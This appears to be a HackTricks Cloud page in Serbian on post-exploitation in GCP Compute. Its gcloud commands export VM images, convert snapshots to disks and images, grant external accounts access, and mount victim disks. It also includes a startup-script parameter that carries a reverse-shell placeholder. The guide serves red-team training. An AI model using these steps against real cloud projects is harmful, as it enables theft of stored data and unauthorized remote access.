GCP - Compute Post Exploitation
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Compute
Za više informacija o Compute i VPC (Mreženje) proverite:
Izvoz i inspekcija slika lokalno
Ovo bi omogućilo napadaču da pristupi podacima sadržanim unutar već postojećih slika ili kreira nove slike pokrenutih VM-ova i pristupi njihovim podacima bez pristupa pokrenutom VM-u.
Moguće je izvesti sliku VM-a u bucket i zatim je preuzeti i montirati lokalno sa komandom:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Za izvođenje ove radnje, napadač može zatrebati privilegije nad skladišnim kanti i sigurno privilegije nad cloudbuild jer je to usluga koja će biti zatražena da izvrši izvoz.
Pored toga, da bi ovo funkcionisalo, codebuild SA i compute SA trebaju privilegovane dozvole.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com
treba:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
A SA <project-id>-compute@developer.gserviceaccount.com
treba:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Izvoz i inspekcija snimaka i diskova lokalno
Nije moguće direktno izvesti snimke i diskove, ali je moguće transformisati snimak u disk, disk u sliku i prateći prethodni odeljak, izvesti tu sliku da bi se inspektovala lokalno.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspekcija slike kreiranjem VM-a
Sa ciljem pristupa podacima pohranjenim u slici ili unutar aktivnog VM-a iz kojeg je napadač napravio sliku, moguće je omogućiti spoljnem nalogu pristup slici:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
i zatim kreirati novu VM iz nje:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
Ako niste mogli dati pristup svom spoljašnjem nalogu preko slike, mogli biste pokrenuti VM koristeći tu sliku u projektu žrtve i naterati metapodatke da izvrše reverznu ljusku za pristup slici dodajući parametar:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Inspekcija snimka/Diska povezivanjem na VM
Sa ciljem pristupa podacima pohranjenim na disku ili snimku, možete transformisati snimak u disk, disk u sliku i pratiti prethodne korake.
Ili možete dodeliti spoljašnjem nalogu pristup disku (ako je početna tačka snimak, dodelite pristup snimku ili kreirajte disk iz njega):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Priključite disk na instancu:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Montirajte disk unutar VM-a:
- SSH u VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifikujte Disk: Kada ste unutar VM-a, identifikujte novi disk tako što ćete nabrojati disk uređaje. Obično ga možete pronaći kao
/dev/sdb
,/dev/sdc
, itd. - Formatirajte i Montirajte Disk (ako je to novi ili sirovi disk):
- Kreirajte tačku montiranja:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Montirajte disk:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Ako ne možete dati pristup spoljnim projektima za snimak ili disk, možda ćete morati da izvršite ove radnje unutar instance u istom projektu kao snimak/disk.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.